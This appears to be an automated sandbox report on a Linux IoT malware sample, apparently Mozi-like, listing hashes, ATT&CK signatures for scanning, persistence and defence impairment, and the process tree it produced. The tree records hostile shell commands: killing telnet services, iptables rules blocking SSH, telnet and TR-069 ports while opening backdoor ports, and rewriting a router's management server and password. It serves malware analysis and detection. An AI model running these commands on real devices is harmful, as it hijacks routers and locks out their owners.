f6c97b1e2ed02578ca1066c8235ba4f991e645f89012406c639dbccc6582eec8

General

Target

inerhuppj
Size

134KB
MD5

3849f30b51a5c49e8d1546960cc206c7
SHA1

61c74136534b826059c63221a2373dc0613a47b7
SHA256

f6c97b1e2ed02578ca1066c8235ba4f991e645f89012406c639dbccc6582eec8
SHA512

43d79293d1fbf716111c27e50df95a0860a0d706079625fa2b8a6b57c5ee06fa7b5b6b8c0acae33714a2181686426728513c990534e44b6f03a05dde0629ab86

Score

9^/10

discovery persistence

Malware Config

Signatures

Contacts a large (9200) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046
Modifies the Watchdog daemon 1 TTPs
Malware like Mirai modify the Watchdog to prevent it restarting an infected system.

Impair Defenses
T1562
Writes file to system bin folder 1 TTPs 2 IoCs

Hijack Execution Flow
T1574

Processes:

description ioc

/sbin/watchdog /sbin/watchdog
/bin/watchdog /bin/watchdog
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.

Processes:

description ioc

/etc/hosts /etc/hosts
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.

Dynamic Resolution
T1568

Processes:

description ioc

/etc/resolv.conf /etc/resolv.conf
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.

System Network Connections Discovery
T1049

Processes:

inerhuppj

description ioc process

/proc/net/tcp /proc/net/tcp inerhuppj
Modifies init.d 1 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
persistence

Boot or Logon Autostart Execution
T1547

Processes:

description ioc

/etc/init.d/S95baby.sh /etc/init.d/S95baby.sh
Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.

System Network Configuration Discovery
T1016

Processes:

description ioc

/proc/net/route /proc/net/route
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8439 ipinfo.io
8547 ipinfo.io
Reads system network configuration 1 TTPs 3 IoCs
Uses contents of /proc filesystem to enumerate network settings.

System Network Configuration Discovery
T1016

Processes:

inerhuppj

description ioc process

/proc/net/tcp /proc/net/tcp inerhuppj
/proc/net/raw /proc/net/raw inerhuppj
/proc/net/route /proc/net/route
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.

Processes:

inerhuppj

description ioc process

/proc/self/exe /proc/self/exe inerhuppj
/proc/mounts /proc/mounts
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

description ioc

/tmp/inerhuppj /tmp/inerhuppj

description	ioc
/sbin/watchdog	/sbin/watchdog
/bin/watchdog	/bin/watchdog

description	ioc
/etc/hosts	/etc/hosts

description	ioc
/etc/resolv.conf	/etc/resolv.conf

description	ioc	process
/proc/net/tcp	/proc/net/tcp	inerhuppj

description	ioc
/etc/init.d/S95baby.sh	/etc/init.d/S95baby.sh

description	ioc
/proc/net/route	/proc/net/route

flow	ioc
8439	ipinfo.io
8547	ipinfo.io

description	ioc	process
/proc/net/tcp	/proc/net/tcp	inerhuppj
/proc/net/raw	/proc/net/raw	inerhuppj
/proc/net/route	/proc/net/route

description	ioc	process
/proc/self/exe	/proc/self/exe	inerhuppj
/proc/mounts	/proc/mounts

description	ioc
/tmp/inerhuppj	/tmp/inerhuppj

./inerhuppj
./inerhuppj
1⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:323

/bin/sh
sh -c "killall -9 telnetd utelnetd scfgmgr"
1⤵
PID:326

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 53993 -j ACCEPT"
1⤵
PID:337
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 53993 -j ACCEPT
  2⤵
  PID:338

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 53993 -j ACCEPT"
1⤵
PID:343
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 53993 -j ACCEPT
  2⤵
  PID:344

/bin/sh
sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 53993 -j ACCEPT"
1⤵
PID:345
- /sbin/iptables
  iptables -I PREROUTING -t nat -p tcp --destination-port 53993 -j ACCEPT
  2⤵
  PID:346

/bin/sh
sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 53993 -j ACCEPT"
1⤵
PID:354
- /sbin/iptables
  iptables -I POSTROUTING -t nat -p tcp --source-port 53993 -j ACCEPT
  2⤵
  PID:355

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 53993 -j ACCEPT"
1⤵
PID:356
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 53993 -j ACCEPT
  2⤵
  PID:357

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 22 -j DROP"
1⤵
PID:358
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 22 -j DROP
  2⤵
  PID:360

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 53993 -j ACCEPT"
1⤵
PID:359
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 53993 -j ACCEPT
  2⤵
  PID:361

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 23 -j DROP"
1⤵
PID:362
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 23 -j DROP
  2⤵
  PID:363

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 2323 -j DROP"
1⤵
PID:364
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 2323 -j DROP
  2⤵
  PID:365

/bin/sh
sh -c "iptables -I PREROUTING -t nat -p tcp --dport 53993 -j ACCEPT"
1⤵
PID:366
- /sbin/iptables
  iptables -I PREROUTING -t nat -p tcp --dport 53993 -j ACCEPT
  2⤵
  PID:367

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 22 -j DROP"
1⤵
PID:368
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 22 -j DROP
  2⤵
  PID:369

/bin/sh
sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 53993 -j ACCEPT"
1⤵
PID:370
- /sbin/iptables
  iptables -I POSTROUTING -t nat -p tcp --sport 53993 -j ACCEPT
  2⤵
  PID:371

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 23 -j DROP"
1⤵
PID:372
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 23 -j DROP
  2⤵
  PID:373

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 2323 -j DROP"
1⤵
PID:374
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 2323 -j DROP
  2⤵
  PID:375

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 22 -j DROP"
1⤵
PID:376
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 22 -j DROP
  2⤵
  PID:377

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 23 -j DROP"
1⤵
PID:378
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 23 -j DROP
  2⤵
  PID:379

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 2323 -j DROP"
1⤵
PID:380
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 2323 -j DROP
  2⤵
  PID:381

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 22 -j DROP"
1⤵
PID:382
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 22 -j DROP
  2⤵
  PID:383

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 23 -j DROP"
1⤵
PID:384
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 23 -j DROP
  2⤵
  PID:385

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 2323 -j DROP"
1⤵
PID:386
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 2323 -j DROP
  2⤵
  PID:387

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"
1⤵
PID:388
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 58000 -j DROP
  2⤵
  PID:389

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"
1⤵
PID:390
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 58000 -j DROP
  2⤵
  PID:391

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"
1⤵
PID:392
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 58000 -j DROP
  2⤵
  PID:393

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"
1⤵
PID:394
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 58000 -j DROP
  2⤵
  PID:395

/bin/sh
sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""
1⤵
PID:396

/bin/sh
sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""
1⤵
PID:397

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"
1⤵
PID:398
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 35000 -j DROP
  2⤵
  PID:399

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"
1⤵
PID:400
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 50023 -j DROP
  2⤵
  PID:401

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"
1⤵
PID:402
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 50023 -j DROP
  2⤵
  PID:403

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"
1⤵
PID:404
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 35000 -j DROP
  2⤵
  PID:405

/bin/sh
sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"
1⤵
PID:406
- /sbin/iptables
  iptables -I INPUT -p tcp --destination-port 7547 -j DROP
  2⤵
  PID:407

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"
1⤵
PID:408
- /sbin/iptables
  iptables -I OUTPUT -p tcp --source-port 7547 -j DROP
  2⤵
  PID:409

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"
1⤵
PID:410
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 35000 -j DROP
  2⤵
  PID:411

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"
1⤵
PID:412
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 50023 -j DROP
  2⤵
  PID:413

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"
1⤵
PID:414
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 50023 -j DROP
  2⤵
  PID:415

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"
1⤵
PID:416
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 35000 -j DROP
  2⤵
  PID:417

/bin/sh
sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"
1⤵
PID:418
- /sbin/iptables
  iptables -I INPUT -p tcp --dport 7547 -j DROP
  2⤵
  PID:419

/bin/sh
sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"
1⤵
PID:420
- /sbin/iptables
  iptables -I OUTPUT -p tcp --sport 7547 -j DROP
  2⤵
  PID:421

/bin/sh
sh -c "iptables -I INPUT -p udp --destination-port 18578 -j ACCEPT"
1⤵
PID:424
- /sbin/iptables
  iptables -I INPUT -p udp --destination-port 18578 -j ACCEPT
  2⤵
  PID:425

/bin/sh
sh -c "iptables -I OUTPUT -p udp --source-port 18578 -j ACCEPT"
1⤵
PID:426
- /sbin/iptables
  iptables -I OUTPUT -p udp --source-port 18578 -j ACCEPT
  2⤵
  PID:427

/bin/sh
sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 18578 -j ACCEPT"
1⤵
PID:428
- /sbin/iptables
  iptables -I PREROUTING -t nat -p udp --destination-port 18578 -j ACCEPT
  2⤵
  PID:429

/bin/sh
sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 18578 -j ACCEPT"
1⤵
PID:430
- /sbin/iptables
  iptables -I POSTROUTING -t nat -p udp --source-port 18578 -j ACCEPT
  2⤵
  PID:431

/bin/sh
sh -c "iptables -I INPUT -p udp --dport 18578 -j ACCEPT"
1⤵
PID:432
- /sbin/iptables
  iptables -I INPUT -p udp --dport 18578 -j ACCEPT
  2⤵
  PID:433

/bin/sh
sh -c "iptables -I OUTPUT -p udp --sport 18578 -j ACCEPT"
1⤵
PID:434
- /sbin/iptables
  iptables -I OUTPUT -p udp --sport 18578 -j ACCEPT
  2⤵
  PID:435

/bin/sh
sh -c "iptables -I PREROUTING -t nat -p udp --dport 18578 -j ACCEPT"
1⤵
PID:436
- /sbin/iptables
  iptables -I PREROUTING -t nat -p udp --dport 18578 -j ACCEPT
  2⤵
  PID:437

/bin/sh
sh -c "iptables -I POSTROUTING -t nat -p udp --sport 18578 -j ACCEPT"
1⤵
PID:438
- /sbin/iptables
  iptables -I POSTROUTING -t nat -p udp --sport 18578 -j ACCEPT
  2⤵
  PID:439